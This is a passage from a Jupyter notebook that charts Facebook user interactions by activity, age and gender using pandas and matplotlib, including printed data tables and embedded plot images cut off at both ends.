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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB16.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "z = list(df.iloc[:, 2])\n", + "w = list(df.iloc[:, 3])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.2\n", + "\n", + "# Plotting\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='30-day AVG', color='r')\n", + "plt.bar(ind + width, z, width, label='Male',color='b')\n", + "plt.bar(ind + 2*width,w, width, label='Female',color='c')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Activity\")\n", + "plt.ylabel(\"No. of Interactions\")\n", + "plt.title(\"Average frequency of Facebook interactions*\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook user activity by age and gender" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Age Comments Likes Comments.1 Likes.1\n", + "0 18-24 5 12 5 12\n", + "1 25-34 6 13 4 11\n", + "2 35-44 9 15 5 11\n", + "3 45-54 11 14 4 7\n", + "4 55-64 10 11 4 5\n", + "5 65+ 7 9 3 5\n" + ] + }, + { + "data": { + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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